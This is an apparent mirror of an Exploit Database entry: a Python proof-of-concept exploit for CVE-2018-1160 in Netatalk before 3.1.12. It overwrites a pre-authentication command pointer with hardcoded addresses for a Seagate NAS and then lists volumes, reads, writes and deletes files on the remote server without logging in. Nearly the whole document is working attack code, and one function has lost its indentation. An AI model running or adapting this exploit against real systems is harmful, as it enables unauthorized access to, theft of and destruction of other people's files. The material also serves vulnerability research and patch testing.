Netatalk 3.1.12 – Authentication Bypass

• Exploit Database
• 16 阅读

• 作者： Jacob Baines
  日期： 2018-12-21
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/46034/

• ##
  # Exploit Title: Netatalk Authentication Bypass
  # Date: 12/20/2018
  # Exploit Author: Jacob Baines
  # Vendor Homepage: http://netatalk.sourceforge.net/
  # Software Link: https://sourceforge.net/projects/netatalk/files/
  # Version: Before 3.1.12
  # Tested on: Seagate NAS OS (x86_64)
  # CVE : CVE-2018-1160
  # Advisory: https://www.tenable.com/security/research/tra-2018-48
  ##
  import argparse
  import socket
  import struct
  import sys
  
  # Known addresses:
  # This exploit was written against a Netatalk compiled for an
  # x86_64 Seagate NAS. The addresses below will need to be changed
  # for a different target.
  preauth_switch_base = '\x60\xb6\x63\x00\x00\x00\x00\x00' # 0x63b6a0
  afp_getsrvrparms = '\x60\xb6\x42\x00\x00\x00\x00\x00' # 0x42b660
  afp_openvol = '\xb0\xb8\x42\x00\x00\x00\x00\x00'# 42b8b0
  afp_enumerate_ext2 = '\x90\x97\x41\x00\x00\x00\x00\x00' # 419790
  afp_openfork = '\xd0\x29\x42\x00\x00\x00\x00\x00' # 4229d0
  afp_read_ext = '\x30\x3a\x42\x00\x00\x00\x00\x00' # 423a30
  afp_createfile = '\x10\xcf\x41\x00\x00\x00\x00\x00' # 41cf10
  afp_write_ext = '\xb0\x3f\x42\x00\x00\x00\x00\x00' # 423fb0
  afp_delete = '\x20\x06\x42\x00\x00\x00\x00\x00' # 420620
  
  ##
  # This is the actual exploit. Overwrites the commands pointer
  # with the base of the preauth_switch
  ##
  def do_exploit(sock):
  	print "[+] Sending exploit to overwrite preauth_switch data."
  	data = '\x00\x04\x00\x01\x00\x00\x00\x00'
  	data += '\x00\x00\x00\x1a\x00\x00\x00\x00'
  	data += '\x01' # attnquant in open sess
  	data += '\x18' # attnquant size
  	data += '\xad\xaa\xaa\xba' # overwrites attn_quantum (on purpose)
  	data += '\xef\xbe\xad\xde' # overwrites datasize
  	data += '\xfe\xca\x1d\xc0' # overwrites server_quantum 
  	data += '\xce\xfa\xed\xfe' # overwrites the server id and client id
  	data += preauth_switch_base # overwrite the commands ptr
  	sock.sendall(data)
  
  	# don't really care about the respone
  	resp = sock.recv(1024)
  	return
  
  
  ##
  # Sends a request to the server.
  #
  # @param socket the socket we are writing on
  # @param request_id two bytes. requests are tracked through the session
  # @param address the address that we want to jump to
  # @param param_string the params that the address will need
  ##
  def send_request(socket, request_id, address, param_string):
  data = '\x00' # flags
  data += '\x02' # command
  data += request_id
  data += '\x00\x00\x00\x00' # data offset
  data += '\x00\x00\x00\x90' # cmd length <=== always the same
  data += '\x00\x00\x00\x00' # reserved
  # ==== below gets copied into dsi->cmd =====
  data += '\x11' # use the 25th entry in the pre_auth table. We'll write the function to execute there
  data += '\x00' # pad
  if (param_string == False):
  data += ("\x00" * 134)
  else:
  data += param_string
  data += ("\x00" * (134 - len(param_string)))
  
  data += address # we'll jump to this address
  
  sock.sendall(data)
  return
  
  ##
  # Parses the DSI header. If we don't get the expected request id
  # then we bail out.
  ##
  def parse_dsi(payload, expected_req_id):
  	(flags, command, req_id, error_code, length, reserved) = struct.unpack_from('>BBHIII', payload)
  	if command != 8:
  		if flags != 1 or command != 2 or req_id != expected_req_id:
  			print '[-] Bad DSI Header: %u %u %u' % (flags, command, req_id)
  			sys.exit(0)
  
  		if error_code != 0 and error_code != 4294962287:
  			print '[-] The server responded to with an error code: ' + str(error_code)
  			sys.exit(0)
  
  	afp_data = payload[16:]
  	if len(afp_data) != length:
  		if command != 8:
  			print '[-] Invalid length in DSI header: ' + str(length) + ' vs. ' + str(len(payload))
  			sys.exit(0)
  		else:
  			afp_data = afp_data[length:]
  			afp_data = parse_dsi(afp_data, expected_req_id)
  
  	return afp_data
  
  ##
  # List all the volumes on the remote server
  ##
  def list_volumes(sock):
  	print "[+] Listing volumes"
  	send_request(sock, "\x00\x01", afp_getsrvrparms, "")
  	resp = sock.recv(1024)
  
  	afp_data = parse_dsi(resp, 1)
  	(server_time, volumes) = struct.unpack_from('>IB', afp_data)
  	print "[+] " + str(volumes) + " volumes are available:"
  
  	afp_data = afp_data[5:]
  	for i in range(volumes):
  		string_length = struct.unpack_from('>h', afp_data)
  		name = afp_data[2 : 2 + string_length[0]]
  		print "\t-> " + name
  		afp_data = afp_data[2 + string_length[0]:]
  
  	return
  
  ##
  # Open a volume on the remote server
  ##
  def open_volume(sock, request, params):
  	send_request(sock, request, afp_openvol, params)
  	resp = sock.recv(1024)
  
  	afp_data = parse_dsi(resp, 1)
  	(bitmap, vid) = struct.unpack_from('>HH', afp_data)
  	return vid
  
  ##
  # List the contents of a specific volume
  ##
  def list_volume_content(sock, name):
  	print "[+] Listing files in volume " + name
  
  	# open the volume
  	length = struct.pack("b", len(name))
  	vid = open_volume(sock, "\x00\x01", "\x00\x20" + length + name)
  	print "[+] Volume ID is " + str(vid)
  
  	# enumerate
  	packed_vid = struct.pack(">h", vid)
  	send_request(sock, "\x00\x02", afp_enumerate_ext2, packed_vid + "\x00\x00\x00\x02\x01\x40\x01\x40\x07\xff\x00\x00\x00\x01\x7f\xff\xff\xff\x02\x00\x00\x00")
  	resp = sock.recv(1024)
  
  	afp_data = parse_dsi(resp, 2)
  	(f_bitmap, d_bitmap, req_count) = struct.unpack_from('>HHH', afp_data)
  	afp_data = afp_data[6:]
  
  	print "[+] Files (%u):" % req_count
  	for i in range(req_count):
  		(length, is_dir, pad, something, file_id, name_length) = struct.unpack_from('>HBBHIB', afp_data)
  		name = afp_data[11:11+name_length]
  		if is_dir:
  			print "\t[%u] %s/" % (file_id, name)
  		else:
  			print "\t[%u] %s" % (file_id, name)
  		afp_data = afp_data[length:]
  
  ##
  # Read the contents of a specific file.
  ##
  def cat_file(sock, vol_name, file_name):
  	print "[+] Cat file %s in volume %s" % (file_name, vol_name)
  
  	# open the volume
  	vol_length = struct.pack("b", len(vol_name))
  	vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
  	print "[+] Volume ID is " + str(vid)
  
  	# open fork
  	packed_vid = struct.pack(">h", vid)
  	file_length = struct.pack("b", len(file_name))
  	send_request(sock, "\x00\x02", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)
  	resp = sock.recv(1024)
  
  	afp_data = parse_dsi(resp, 2)
  	(f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)
  	print "[+] Fork ID: %s" % (fork_id)
  
  	# read file
  	packed_fork = struct.pack(">h", fork_id)
  	send_request(sock, "\x00\x03", afp_read_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x03\x00")
  	resp = sock.recv(1024)
  
  	afp_data = parse_dsi(resp, 3)
  	print "[+] File contents:"
  	print afp_data
  
  ##
  # Create a file on the remote volume
  ## 
  def write_file(sock, vol_name, file_name, data):
  	print "[+] Writing to %s in volume %s" % (file_name, vol_name)
  
  	# open the volume
  	vol_length = struct.pack("B", len(vol_name))
  	vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
  	print "[+] Volume ID is " + str(vid)
  
  	# create the file
  	packed_vid = struct.pack(">H", vid)
  	file_length = struct.pack("B", len(file_name))
  	send_request(sock, "\x00\x02", afp_createfile, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);
  	resp = sock.recv(1024)
  	afp_data = parse_dsi(resp, 2)
  
  	if len(afp_data) != 0:
  		sock.recv(1024)
  
  	# open fork
  	packed_vid = struct.pack(">H", vid)
  	file_length = struct.pack("B", len(file_name))
  	send_request(sock, "\x00\x03", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)
  	resp = sock.recv(1024)
  
  	afp_data = parse_dsi(resp, 3)
  	(f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)
  	print "[+] Fork ID: %s" % (fork_id)
  
  	# write
  	packed_fork = struct.pack(">H", fork_id)
  	data_length = struct.pack(">Q", len(data))
  	send_request(sock, "\x00\x04", afp_write_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + data_length + data)
  	#resp = sock.recv(1024)
  
  	sock.send(data + ("\x0a"*(144 - len(data))))
  	resp = sock.recv(1024)
  	afp_data = parse_dsi(resp, 4)
  	print "[+] Fin"
  
  ##
  # Delete a file on the remote volume
  ##
  def delete_file(sock, vol_name, file_name):
  	print "[+] Deleting %s from volume %s" % (file_name, vol_name)
  
  	# open the volume
  	vol_length = struct.pack("B", len(vol_name))
  	vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
  	print "[+] Volume ID is " + str(vid)
  
  	# delete the file
  	packed_vid = struct.pack(">H", vid)
  	file_length = struct.pack("B", len(file_name))
  	send_request(sock, "\x00\x02", afp_delete, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);
  	resp = sock.recv(1024)
  	afp_data = parse_dsi(resp, 2)
  
  	print "[+] Fin"
  
  ##
  ##
  ## Main
  ##
  ##
  
  top_parser = argparse.ArgumentParser(description='I\'m a little pea. I love the sky and the trees.')
  top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
  top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="548")
  top_parser.add_argument('-lv', '--list-volumes', action="store_true", dest="lv", help="List the volumes on the remote target.")
  top_parser.add_argument('-lvc', '--list-volume-content', action="store_true", dest="lvc", help="List the content of a volume.")
  top_parser.add_argument('-c', '--cat', action="store_true", dest="cat", help="Dump contents of a file.")
  top_parser.add_argument('-w', '--write', action="store_true", dest="write", help="Write to a new file.")
  top_parser.add_argument('-f', '--file', action="store", dest="file", help="The file to operate on")
  top_parser.add_argument('-v', '--volume', action="store", dest="volume", help="The volume to operate on")
  top_parser.add_argument('-d', '--data', action="store", dest="data", help="The data to write to the file")
  top_parser.add_argument('-df', '--delete-file', action="store_true", dest="delete_file", help="Delete a file")
  args = top_parser.parse_args()
  
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
  sock.connect((args.ip, args.port))
  print "[+] Connected!"
  
  do_exploit(sock)
  if args.lv:
  	list_volumes(sock)
  elif args.lvc and args.volume != None:
  	list_volume_content(sock, args.volume)
  elif args.cat and args.file != None and args.volume != None:
  	cat_file(sock, args.volume, args.file)
  elif args.write and args.volume != None and args.file != None and args.data != None:
  	if len(args.data) > 144:
  		print "This implementation has a max file writing size of 144"
  		sys.exit(0)
  	write_file(sock, args.volume, args.file, args.data)
  elif args.delete_file and args.volume != None and args.file != None:
  	delete_file(sock, args.volume, args.file)
  else:
  	print("Bad args")
  
  sock.close()